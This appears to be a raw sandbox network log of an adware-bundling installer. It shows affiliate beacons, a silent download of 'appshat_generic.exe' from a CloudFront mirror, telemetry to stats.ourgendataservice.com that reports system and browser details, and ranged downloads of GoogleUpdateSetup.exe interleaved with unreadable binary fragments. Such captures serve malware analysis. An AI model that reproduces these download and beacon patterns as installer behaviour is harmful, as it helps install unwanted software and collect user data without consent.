...C..{A...A.regular expression error.....$C.DsC.DsC..$C..$C.$$C.$$C.,
$C.4$C.<$C.D$C.L$C.T$C.\$C.....r...a...r.b.....w.b.....a.b.....r. .
....w. .....a. .....r. .b...w. .b...a. .b...................!..."...2.
..*...............#...3... .........C...A...A.Unknown exception.....C.
[email protected].................
......................csm................. ...........Visual C   CRT: 
Not enough memory to complete call to strerror..LC_TIME.LC_NUMERIC..LC
_MONETARY.LC_CTYPE....LC_COLLATE..LC_ALL...%C......{B..%C...C..{B..%C.
..C.R.A..%C...C.2xB..%C...C.DuB..%C...C.^tB...........................
..... !"#$%&'()* ,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ
[\]^_`abcdefghijklmnopqrstuvwxyz{|}~.._.,.;...=...=;..................
......................................................................
..................................................................<<< skipped >>>

GET /pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=mystartsearch&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=3&index_in_screen=1&index_in_session=3&0.6020630595223312 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_marimedia_1/vlcmediaplayervfps/fc5ae9ef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5ae9ef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1387656045.1423621778.1423621778.1423621778.1; __utmb=1.1.10.1423621778; __utmz=1.1423621778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:20 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 11 Feb 2015 02:31:20 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=214170-

User-Agent: Better Installer(Mozilla)

Host: d22bq5tzj1f5l6.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 71388

Connection: keep-alive

Date: Sun, 08 Feb 2015 06:12:59 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 214170-285557/285558

Age: 2517

X-Cache: Hit from cloudfront

Via: 1.1 74f98ee8547ec50a6b9a4c3d010e1e0d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: FHZ7Az95Z_epKNEzpDVwzLpZZvKI4FRYx0_zoMb--MgaFmx0XJZjHg==
a...:X.h0...d...,Q..b:..... <o..^..z.nI...n..b..3........$.#....k..
m...L:M..^..b..j.*G.:c'^T... .k..|..?D...c....\..P.}[email protected].
...x.X..7.[.f...!......g...)aT......k.....1..K.....ou74.U..#.k3-...N..
.....t....u8n.7.c.2..7J... ...h..s......[.V..44.a..<.- .....x..O2oZ
*...u.....oY...T..k..r. z'._GC..B.W.9&1......'.~/].2 v~..:f.=.x<0.}
.e3F/5..b..<!..H...1)......V~G...7.........A..1VS..s.!6.k.J6...h.o.
..8..A^[email protected]>.[.Z...I..P..................Y..... .I."....s....6
d..<F-..[....\]^... C4w>..'j$.qT........J .{..\....X>........
......|EU.*................c..Q.<......Mk..%....1c...8.g:...=.d'.R.
..Im,O.o$..Q.....O..fS43.(...`..........M.s...Rx..[.|:...&.^.....c....
..)...>.6.C4c".%..O..r.Cg.........|._...9..m.h.6.;.Y.L.~).M..]A\...
e.u`...U....s.X....m.....1y|.....k......~..uEi.$...J..pK.:Xt.....z9.bu
*...1:.C....`.]..N.oR.....0..(.5U!.*....$.......3t.0..Vd6..H....6.9N,.
...)T....e.h.."..N6..nUE.......Z..d.........&.....`..1..............b9
..K..g..9Md...K...6q.?...MU.GW.c.C..Ppfw..u.{.."..]....wf|k./(BX......
V...p>...'.;..(..Q.....9.:...R.v";...zv\;..Ow.2...7.~.IT.D..mu.k.OG
w....<U.....x.. ...i.....W.5|w.#....DR.w.}..r......D...^Y..v.... 05
...K.:.{..}Q...t.Y......P..#Hl....2........&c.....C.*...D....l...v.K.v
D.wC..vK4..W.P.).X.....Z..;V2......,j....q./.q.i..d.........\..F.._a..
.U....T...m...d.....>....{z.tf.T..%...5.. NF.......).....:.b,..O.Yq
.....u/oT<.`[email protected].|T..mVLY.......C(
E.....F...e|...hu.\.\. .....~ ..Fi>..M.;..f.U$..!.&6 Y......s..<<< skipped >>>

GET /installer.gif?action=started&app=65743&appver=0&ver=1_36_01_22&version_date=15-02-10&bic=BBFE2B1E132147DEAB3E6E2BB23A4FA7IE&verifier=fc8e5e54143a4ed9b899fe7618a763a3&upi=d5d8d8a61601751d467a5854a16ce35a&procid=AD256D601B8945B988162FB4AAFBAEE7PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_23&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147483648&asw4=0&crtnm=ClashProject&mdat=&procstarttime=1423621888&procruntime=3&rnd=1423621891 HTTP/1.1

Host: stats.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: d1ZiV4 C MOXrGBsN 6bwpHd rEKY6SwYpa/l2XC87FZgiPIRS8NMylcIyQ4oXcm

x-amz-request-id: 4E370A083AB7904B

Date: Wed, 11 Feb 2015 02:31:29 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 25 Feb 2014 00:15:10 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: d1ZiV4
 C MOXrGBsN 6bwpHd rEKY6SwYpa/l2XC87FZgiPIRS8NMylcIyQ4oXcm..x-amz-requ
est-id: 4E370A083AB7904B..Date: Wed, 11 Feb 2015 02:31:29 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 25 Feb 2014 00:15:10 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /installer.gif?action=finished&app=65743&appver=&ver=1_36_01_22&version_date=15-02-10&bic=BBFE2B1E132147DEAB3E6E2BB23A4FA7IE&verifier=fc8e5e54143a4ed9b899fe7618a763a3&upi=d5d8d8a61601751d467a5854a16ce35a&procid=AD256D601B8945B988162FB4AAFBAEE7PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_23&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147483648&asw4=0&crtnm=ClashProject&ieprofiles=na&chprofiles=na&ffprofiles=1&procstarttime=1423621888&procruntime=11&rnd=1423621899 HTTP/1.1

Host: stats.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: igcui6xOiErOwxIEAZ36bo93gEEtw2IIx5VJWA28vLlt2sWSQms4Bmq m xMgNA3

x-amz-request-id: 94E011346D06CA80

Date: Wed, 11 Feb 2015 02:31:37 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 25 Feb 2014 00:15:10 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /apps.gif?action=install&app=65743&appver=&ver=1_36_01_22&version_date=15-02-10&bic=BBFE2B1E132147DEAB3E6E2BB23A4FA7IE&verifier=fc8e5e54143a4ed9b899fe7618a763a3&upi=d5d8d8a61601751d467a5854a16ce35a&procid=AD256D601B8945B988162FB4AAFBAEE7PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1423621888&lifetime=0&silent=1&crtnm=ClashProject&procstarttime=1423621888&procruntime=11&rnd=1423621899 HTTP/1.1

Host: stats.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: LbuGoNSgyDY WLiyQkIGzcNwyHVxJU9HBVK1t/SkLyi39sqaJp9Xh7YQuACRcCmE

x-amz-request-id: 025191FD1BF91002

Date: Wed, 11 Feb 2015 02:31:37 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 25 Feb 2014 00:15:01 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;..

HEAD /edgedl/update2/1.3.26.9/GoogleUpdateSetup.exe?cms_redirect=yes&expire=1423636265&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1423621511&mv=u&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=3C42CDDC5D19E4AD1F55A6A948D1E9049D9B0F73.6082589730D3517F5AD5BC3BAE81AC2BC8B04FEC&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: r2---sn-3c27ln7y.c.pack.google.com


HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Length: 880208

Content-Type: application/x-msdos-program

Etag: "4eb1b"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Fri, 30 Jan 2015 07:03:16 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Wed, 28 Jan 2015 21:47:00 GMT

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01

HTTP/1.1 200 OK..Accept-Ranges: bytes..Content-Length: 880208..Content
-Type: application/x-msdos-program..Etag: "4eb1b"..Server: downloads..
Vary: *..X-Content-Type-Options: nosniff..X-Frame-Options: SAMEORIGIN.
.X-Xss-Protection: 1; mode=block..Date: Fri, 30 Jan 2015 07:03:16 GMT.
.Alternate-Protocol: 80:quic,p=0.02..Last-Modified: Wed, 28 Jan 2015 2
1:47:00 GMT..Connection: keep-alive..Alternate-Protocol: 80:quic,p=0.0
1......

GET /edgedl/update2/1.3.26.9/GoogleUpdateSetup.exe?cms_redirect=yes&expire=1423636265&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1423621511&mv=u&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=3C42CDDC5D19E4AD1F55A6A948D1E9049D9B0F73.6082589730D3517F5AD5BC3BAE81AC2BC8B04FEC&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Wed, 28 Jan 2015 21:47:00 GMT

Range: bytes=0-8291

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: r2---sn-3c27ln7y.c.pack.google.com


HTTP/1.1 206 Partial Content

Accept-Ranges: bytes

Content-Length: 8292

Content-Type: application/x-msdos-program

Etag: "4eb1b"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Fri, 30 Jan 2015 07:03:16 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Wed, 28 Jan 2015 21:47:00 GMT

Content-Range: bytes 0-8291/880208

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......{..5?.|f?.|f
?.|f$..f0.|f$..fa.|f$..f..|f$..f9.|f6..f4.|f?.}fO.|f$..f>.|f?..f..|
f$..f>.|fRich?.|f........PE..L...`M.T.....................X.......S
[email protected]....@.................
................4...x....`...............2..P<...`.................
.........................@............................................
text...!........................... ..`.rdata...1.......2.............
.....@[email protected]....,[email protected]........`.......
...............@[email protected].......`[email protected]...........
......................................................................
......................................................................
......................................................................
......................................................................
.....................................................U..3..}.....j....
[email protected],...t ...t..."[email protected].
.....][email protected]..([email protected]%[email protected].;.s.N...
.|O.u.;.r.3..........#._^][email protected][email protected].].P.u..E..{...
YY].U..QSVW3...JA.S........E......<..u>[email protected][email protected].
P.E.V.1.....YY..u..u.........E.....u.3._^[.......H........J........P.R
[email protected][email protected][email protected][email protected]....
.......;u.r.hW...........P..b..Y;E.s.......P.u.S..b..P.<....M..<<< skipped >>>

GET /edgedl/update2/1.3.26.9/GoogleUpdateSetup.exe?cms_redirect=yes&expire=1423636265&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1423621511&mv=u&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=3C42CDDC5D19E4AD1F55A6A948D1E9049D9B0F73.6082589730D3517F5AD5BC3BAE81AC2BC8B04FEC&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Wed, 28 Jan 2015 21:47:00 GMT

Range: bytes=8292-18781

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: r2---sn-3c27ln7y.c.pack.google.com


HTTP/1.1 206 Partial Content

Accept-Ranges: bytes

Content-Length: 10490

Content-Type: application/x-msdos-program

Etag: "4eb1b"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Fri, 30 Jan 2015 07:03:16 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Wed, 28 Jan 2015 21:47:00 GMT

Content-Range: bytes 8292-18781/880208

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01
[email protected].........._^.U..QV....u.......vW.}...u.hW....U..
....H. .S.M........;}.w....Q.M...xQ...I...QP..l...}......I..<.W.u..
.QP.8........x...;X....X...3.f..._^....V......W.P..V..:.|.;.u.3...@...
..5..j..v.........u..Y....F..G..F..D..P...VP.G.P.........._^.U...}..}.
hW....}.....3.A H..@. E...}..E..........]...h.....Q....V..W.....H.;.~.
...x..~.WV.2....-.@.;.}&.......@~.......... .....;.}......i..._^.U..Q.
E.SV.0.N..^...W.]..P...j..u.........u..u....E.;.}....D..PVP._.S......E
..G.....F.......E._^..[...........9P.}...~.W.9j.RP.W._..u............V
..W.....H.;.~....x..~.WV.2....-.@.;.}&.......@~.......... .....;.}....
..f..._^.U..Q.E.SV.0.N..^...W.]..P...j..u.........u.......E.;.}...@PVP
._.S......E..G.....F.......E._^..[...........9P.}...~.W.9j.RP.W._..u..
>.........U...U..E.P.....][email protected]...
.V.E..7...Y..t.SWVP.......YY..t....S.u..x..............u.W....@.@PWSV.
....P.0........x..u.;^....^.3.f..^_[9F.u.hW....u....E..E..E.PV.u......
.e...F......^..U..........3A.3..E.SVW.}.............u.hW........j...d.
@[email protected][email protected][email protected]................
.Y......;H....H...3.f..H.M._^3.[[email protected].][email protected].
[email protected]...<.@._^[
....U....\..SVW.........p.jD3..E.SP.u..nU..3..}[email protected]...
[email protected].~..v..E.P.Y....u..E.P.E.PSSh....SSSVS..@[email protected][email protected]...
.F..x..._^..[[email protected]][email protected][email protected]
[email protected](.E..B$.E..B,.E.<<< skipped >>>

GET /edgedl/update2/1.3.26.9/GoogleUpdateSetup.exe?cms_redirect=yes&expire=1423636265&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1423621511&mv=u&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=3C42CDDC5D19E4AD1F55A6A948D1E9049D9B0F73.6082589730D3517F5AD5BC3BAE81AC2BC8B04FEC&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Wed, 28 Jan 2015 21:47:00 GMT

Range: bytes=18782-33904

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: r2---sn-3c27ln7y.c.pack.google.com


HTTP/1.1 206 Partial Content

Accept-Ranges: bytes

Content-Length: 15123

Content-Type: application/x-msdos-program

Etag: "4eb1b"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Fri, 30 Jan 2015 07:03:16 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Wed, 28 Jan 2015 21:47:00 GMT

Content-Range: bytes 18782-33904/880208

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01
.>A..E...>A..}.........5.\A..5..@......]...th.5.\A......}..]..}.
....}.;.rK.A...9.t.;.r>.7..............5.\A......5.\A...9].u.9E.t..
]..]..E....}..]....E...@..}[email protected]...@..}[email protected].
....t....E.....E...... ....}..u)...>A.....j......Y.u.......}..t.j..
....Y..P......U..j.j..u.........]...U..j.j..u.........].j.j.j.........
.j.j.j..z.........U........u..2...Yh............U..3..M.;[email protected][email protected]
.3.]......@.]...U..........3A.3..E.SV.u.WV.......3.Y......;...l...j...
[email protected]......>A.W.
...............h......>A.VSf..@A...([email protected][email protected].
3.PPPPP.....V.....@Y..<v*V.......E\>A... .j...h..@. .SP.........
[email protected]. [email protected].......^SS
SSS.y...j...$.@...;.tF...tA3...G.......f9.Gt.@=....r.S......P......P.]
......YP......PV.. [email protected]._^3.[.u.....j..-...Y...t.j.. ...Y..u..=.0A..u
.h.....%...h.........YY...U..V...........2....N\.U...W9.t..........;.r
.......;.s.9.t.3...t..P...u.3.........u..`[email protected].^`.N
`.H..........j$Y.~\.d9...........|....~d=....u..Fd.....~=....u..Fd....
.n=....u..Fd.....^=....u..Fd.....N=....u..Fd.....>=....u..Fd......=
....u..Fd......=....u..Fd......=....u..Fd.....vdj...Y.~d...`..Q..Y.^`[
..._^]...VW3.9=.\A.u..."...5.\A...u....@...< w...t...t$<"u.3....
.......P.....Y..t.FF..< w.F....u._..^..=.\A..u..J"..V.5`>A.W3...
u.........<=t.GV.l...Y.t......u.j.GW..#....YY.=|>A...t..5`>A.
S.3V.;....>=Y.X.t"j.S.."..YY....t?VSP./".......uG......>.u..<<< skipped >>>

GET /edgedl/update2/1.3.26.9/GoogleUpdateSetup.exe?cms_redirect=yes&expire=1423636265&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1423621511&mv=u&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=3C42CDDC5D19E4AD1F55A6A948D1E9049D9B0F73.6082589730D3517F5AD5BC3BAE81AC2BC8B04FEC&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Wed, 28 Jan 2015 21:47:00 GMT

Range: bytes=33905-49240

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: r2---sn-3c27ln7y.c.pack.google.com


HTTP/1.1 206 Partial Content

Accept-Ranges: bytes

Content-Length: 15336

Content-Type: application/x-msdos-program

Etag: "4eb1b"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Fri, 30 Jan 2015 07:03:16 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Wed, 28 Jan 2015 21:47:00 GMT

Content-Range: bytes 33905-49240/880208

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01
..........................|[email protected].......
...M..........B..........7..... ....,.....$....!.....(..........,.....
.....0..........4..........8..........<[email protected]......
[email protected]..........\.......
...`....y......^]...U..V.u...tY..;..:A.t.P.V...Y.F.;..:A.t.P.D...Y.F.;
..:A.t.P.2...Y.F0;..:A.t.P. ...Y.v4;5.:A.t.V.....Y^]...U..V.u.........
.F.;..:A.t.P.....Y.F.;..:A.t.P.....Y.F.;..:A.t.P.....Y.F.;..:A.t.P....
.Y.F.;..:A.t.P.....Y.F ;..:A.t.P.....Y.F$;..:A.t.P.|...Y.F8;..:A.t.P.j
...Y.F<;..:A.t.P.X...Y.F@;..:A.t.P.F...Y.FD;..:A.t.P.4...Y.FH;..:A.
t.P."...Y.vL;5.:A.t.V.....Y^][email protected]...]_^[..]..L$..A.
.........t2.D$..H.3......U.h..P(R.P$R........].D$..T$.........SVW.D$.U
Pj.h [email protected]$.d......D$(.X..p....t:.|$,.t.;t$,v-.4v....L$
..H..|...u.h.....D...I....D..._......L$.d........._^[.3.d.......y. .@.
u..Q..R.9Q.u.......SQ..;A...SQ..;A..L$..K..C..k.UQPXY]Y[......W.......
..............te........f.o.f.oN.f.oV f.o^0f...f..O.f..W [email protected]
nPf.ov`[email protected]`f...p............Ju...tI.......t.......f.o.
f....v....Ju....t$.....t......v....Iu......t.....FGIu.X^_]...... . .Q.
......t.....FGIu....t......v....Hu.Y.....j.....@...[A.3........Q.L$. .
.........Y.....Q.L$. ..........Y.....f...QS.......u.........t7..$....f
...f..A.f..A [email protected]`f..Ap......Hu...t7.....t....I.f....I.
Hu....t...3....t....I.Ju....t...AHu.[X........ .3.R.....t...AJu....t..
..I.Ku.Z.U.............Q.L$. .....#...%....;.r...Y.....$.-........<<< skipped >>>

GET /edgedl/update2/1.3.26.9/GoogleUpdateSetup.exe?cms_redirect=yes&expire=1423636265&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1423621511&mv=u&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=3C42CDDC5D19E4AD1F55A6A948D1E9049D9B0F73.6082589730D3517F5AD5BC3BAE81AC2BC8B04FEC&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Wed, 28 Jan 2015 21:47:00 GMT

Range: bytes=49241-62633

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: r2---sn-3c27ln7y.c.pack.google.com


HTTP/1.1 206 Partial Content

Accept-Ranges: bytes

Content-Length: 13393

Content-Type: application/x-msdos-program

Etag: "4eb1b"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Fri, 30 Jan 2015 07:03:16 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Wed, 28 Jan 2015 21:47:00 GMT

Content-Range: bytes 49241-62633/880208

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01
.....j...,...Pj..E.P..$......E...4... .@...........,............0.....
8........<.t.<[email protected].........<.t.<.uR
..D....A...Yf;.D.....I.....8...........t)j.XP..D........Yf;.D.........
[email protected]......
....?......D...........4...9M.........3. .4.....H...;M.s&..CA.. ......
u...0......@[email protected]... .j...(...PV..H...P..$......4... .@..
...C.....(.....8...;...;..... .4...;E...l....%.....?............4...9M
...H.....@...... .4...j...H...^;M.sC......... ......u...0...j.[f.... .
......@[email protected][email protected]... .j...(...PV..H...P..$......4
... [email protected].....(.....8...;...a..... .4...;E...G....K.....4.....,...9
M...u.....,.....@.... .4...j...H...^;M.s;..,........,........u.j.[f...
...@[email protected][email protected]... .. ...P..PVh.....
.4.@...;.......j...(...P.. .P..5....P..$......4... [email protected]...(...;.....
[email protected]...;..\..,... .4.....8...;E........?Q..(...Q.u...4....48.. .@
...t...([email protected].^9.D...u....
[email protected]..$.........
........ ........8... .0...[.M._3.^.Q.....j.h0.A.......]....u..Z.... .
.?...................x.;..[A.r..3.... .........................<..[
A.............D0....t.S.....Y.e.....D0..t..u..u.S.n.......E...........
......... ..M...E...........E..&.....].S.U...Y...U.....KA.h.........Y.
M..A...t..I...A........I...A..A..A......A..a....]...U...E....u..1.....
....3.]...x.;..[A.r...............................[A......D....@].<<< skipped >>>

GET /edgedl/update2/1.3.26.9/GoogleUpdateSetup.exe?cms_redirect=yes&expire=1423636265&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1423621511&mv=u&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=3C42CDDC5D19E4AD1F55A6A948D1E9049D9B0F73.6082589730D3517F5AD5BC3BAE81AC2BC8B04FEC&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Wed, 28 Jan 2015 21:47:00 GMT

Range: bytes=62634-91449

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: r2---sn-3c27ln7y.c.pack.google.com


HTTP/1.1 206 Partial Content

Accept-Ranges: bytes

Content-Length: 28816

Content-Type: application/x-msdos-program

Etag: "4eb1b"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Fri, 30 Jan 2015 07:03:16 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Wed, 28 Jan 2015 21:47:00 GMT

Content-Range: bytes 62634-91449/880208

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01
.................. Complete Object Locator'... Class Hierarchy Descrip
tor'.... Base Class Array'.. Base Class Descriptor at (. Type Descript
or'...`local static thread guard'.`managed vector copy constructor ite
rator'..`vector vbase copy constructor iterator'....`vector copy const
ructor iterator'..`dynamic atexit destructor for '....`dynamic initial
izer for '..`eh vector vbase copy constructor iterator'.`eh vector cop
y constructor iterator'...`managed vector destructor iterator'....`man
aged vector constructor iterator'...`placement delete[] closure'....`p
lacement delete closure'..`omni callsig'.. delete[]... new[]..`local v
ftable constructor closure'.`local vftable'.`RTTI...`EH.`udt returning
'.`copy constructor closure'..`eh vector vbase constructor iterator'..
`eh vector destructor iterator'.`eh vector constructor iterator'....`v
irtual displacement map'..`vector vbase constructor iterator'.`vector 
destructor iterator'....`vector constructor iterator'...`scalar deleti
ng destructor'....`default constructor closure'...`vector deleting des
tructor'....`vbase destructor'..`string'....`local static guard'....`t
ypeof'....`vcall'.`vbtable'...`vftable'...^=..|=..&=..<<=.>&g
t;=.$=../=..-=.. =..*=..||..&&..|...^...~...()..,...>=..>...<
=..<...%.../...->*. ...-...--..  ..*...->..operator....[]..!=
..==..!...<<..>>.. delete. new....__unaligned.__restrict..
__ptr64.__eabi..__clrcall...__fastcall..__thiscall..__stdcall...__pasc
al....__cdecl.__based(....L.A.D........k@.........................<<< skipped >>>

GET /edgedl/update2/1.3.26.9/GoogleUpdateSetup.exe?cms_redirect=yes&expire=1423636265&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1423621511&mv=u&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=3C42CDDC5D19E4AD1F55A6A948D1E9049D9B0F73.6082589730D3517F5AD5BC3BAE81AC2BC8B04FEC&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Wed, 28 Jan 2015 21:47:00 GMT

Range: bytes=91450-182126

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: r2---sn-3c27ln7y.c.pack.google.com


HTTP/1.1 206 Partial Content

Accept-Ranges: bytes

Content-Length: 90677

Content-Type: application/x-msdos-program

Etag: "4eb1b"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Fri, 30 Jan 2015 07:03:16 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Wed, 28 Jan 2015 21:47:00 GMT

